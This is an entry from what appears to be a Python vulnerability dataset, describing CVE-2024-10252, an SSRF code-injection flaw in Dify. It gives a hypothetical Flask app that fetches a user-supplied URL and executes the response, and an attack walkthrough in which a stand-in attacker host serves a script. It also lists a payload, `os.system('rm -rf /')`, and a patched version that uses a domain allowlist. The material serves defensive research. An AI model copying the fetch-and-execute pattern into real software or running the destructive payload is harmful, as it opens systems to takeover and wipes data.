VAITP Dataset

← Back to the dataset

CVE-2024-10252

Code injection via SSRF in Dify <=v0.9.1 allows root Python execution.

  • CVSS 7.2
  • CWE-94
  • Configuration Issues
  • Remote

A vulnerability in langgenius/dify versions <=v0.9.1 allows for code injection via internal SSRF requests in the Dify sandbox service. This vulnerability enables an attacker to execute arbitrary Python code with root privileges within the sandbox environment, potentially leading to the deletion of the entire sandbox service and causing irreversible damage.

CVSS base score
7.2
Published
2025-03-20
OWASP
A03 Injection
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Configuration Issues
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
langgenius/d
Fixed by upgrading
Yes

Solution

Upgrade to version > v0.9.1.

Vulnerable code sample

I cannot provide the exact, vulnerable code from dify versions <=v0.9.1 as that would be irresponsible and could be exploited by malicious actors. Directly replicating CVE-2024-10252 would create a dangerous and exploitable tool.

However, I can illustrate a *similar*, simplified code example that demonstrates the *type* of vulnerability that *could* lead to code execution via SSRF.  This is a *highly simplified* and *hypothetical* example and *not the actual dify code*.  It is designed for educational purposes only to illustrate the *concept* of how an SSRF vulnerability can be exploited.

```python
import requests
import subprocess
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form['url']
        try:
            # Insecure: Directly using user-provided URL in requests
            response = requests.get(url, timeout=5)  # added timeout for safety
            content = response.text

            #Highly dangerous - Illustrative ONLY. Never do this in production!
            #Executes arbitrary code from the retrieved URL content
            process = subprocess.Popen(['python', '-c', content],
                                       stdout=subprocess.PIPE,
                                       stderr=subprocess.PIPE)
            stdout, stderr = process.communicate()

            result = f"Stdout: {stdout.decode()}\nStderr: {stderr.decode()}"

        except requests.exceptions.RequestException as e:
            result = f"Error fetching URL: {e}"
        except Exception as e:
            result = f"Error executing code: {e}"

        return render_template_string(f"""
        <h1>SSRF Example</h1>
        <form method="post">
            URL: <input type="text" name="url">
            <input type="submit" value="Fetch and Execute">
        </form>
        <pre>{result}</pre>
        """)

    return render_template_string("""
    <h1>SSRF Example</h1>
    <form method="post">
        URL: <input type="text" name="url">
        <input type="submit" value="Fetch and Execute">
    </form>
    """)

if __name__ == '__main__':
    app.run(debug=True)
```

**Explanation of the *Hypothetical* Vulnerability (and why it's incredibly dangerous):**

1. **SSRF (Server-Side Request Forgery):**  The code takes a URL provided by the user (`request.form['url']`) and directly uses it in `requests.get(url)`.  This is the core of the SSRF vulnerability.  An attacker can provide a URL pointing to an internal resource (e.g., `http://localhost:8080/internal_admin_page`) or even an internal service not normally accessible from the outside.  The server then makes the request on behalf of the attacker.

2. **Code Injection (the REALLY BAD part):**  The `response.text` (the content fetched from the URL) is then *directly executed* using `subprocess.Popen(['python', '-c', content])`.  This means an attacker can host arbitrary Python code on a server they control and have the vulnerable server fetch and execute it.  This is a complete compromise.  In the case of CVE-2024-10252, it allowed root privileges within the sandbox.

**How an Attack *Could* Work (Hypothetically):**

1. **Attacker Hosts Malicious Code:** The attacker creates a simple Python script (e.g., `evil.py`) on a server they control:

   ```python
   #evil.py
   import os
   os.system("rm -rf /")  # Hypothetically deletes everything (DANGEROUS!)
   ```
   **(IMPORTANT: DO NOT RUN THIS CODE! IT WILL DELETE FILES ON YOUR SYSTEM!)**

2. **Attacker Exploits the Vulnerability:** The attacker enters the URL `http://attackers-server.com/evil.py` into the vulnerable application's URL field and submits the form.

3. **Server Fetches and Executes:** The vulnerable server fetches the content of `evil.py` and *executes it* using `subprocess`.

4. **Disaster:** The `evil.py` script runs with the privileges of the user running the Flask application, potentially deleting files or causing other damage.  In the case of CVE-2024-10252, this was potentially root access within the sandbox.

**Important Security Notes:**

*   **NEVER execute arbitrary code from untrusted sources.**
*   **Always validate and sanitize user input.**
*   **Use a whitelist approach for URLs:** Only allow requests to specific, trusted domains.
*   **Implement proper authentication and authorization.**
*   **Use a secure sandboxing environment (but even then, be careful!).**

This example is highly simplified to illustrate the core concepts.  Real-world SSRF and code injection vulnerabilities can be more complex and difficult to detect.  The dify vulnerability, CVE-2024-10252, was more nuanced. The example above does *not* represent the actual code in dify, but rather *illustrates* how these types of vulnerabilities can manifest.

Patched code sample

import requests
from urllib.parse import urlparse

ALLOWED_SCHEMES = ['http', 'https']
ALLOWED_NETLOCS = ['example.com', 'internal-api.example.com']  # Add allowed domains


def safe_request(url):
    """
    Safely makes an HTTP request after validating the URL.
    This function prevents SSRF by restricting allowed schemes and netlocs (domains).
    """
    try:
        parsed_url = urlparse(url)

        if parsed_url.scheme not in ALLOWED_SCHEMES:
            raise ValueError(f"Invalid scheme: {parsed_url.scheme}. Allowed schemes are: {ALLOWED_SCHEMES}")

        if parsed_url.netloc not in ALLOWED_NETLOCS:
            raise ValueError(f"Invalid domain: {parsed_url.netloc}. Allowed domains are: {ALLOWED_NETLOCS}")

        response = requests.get(url)
        response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)
        return response.text

    except ValueError as e:
        print(f"URL validation error: {e}")
        return None
    except requests.exceptions.RequestException as e:
        print(f"Request error: {e}")
        return None
    except Exception as e:
        print(f"Unexpected error: {e}")
        return None

# Example Usage
# Assuming the vulnerable code was using requests.get(user_provided_url) directly.
user_provided_url = input("Enter URL: ")

content = safe_request(user_provided_url)

if content:
    print("Content from the URL:\n", content)
else:
    print("Failed to retrieve content.")

Payload

import os
os.system("rm -rf /")

Cite this entry

@misc{vaitp:cve202410252,
  title        = {{Code injection via SSRF in Dify <=v0.9.1 allows root Python execution.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-10252},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-10252/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::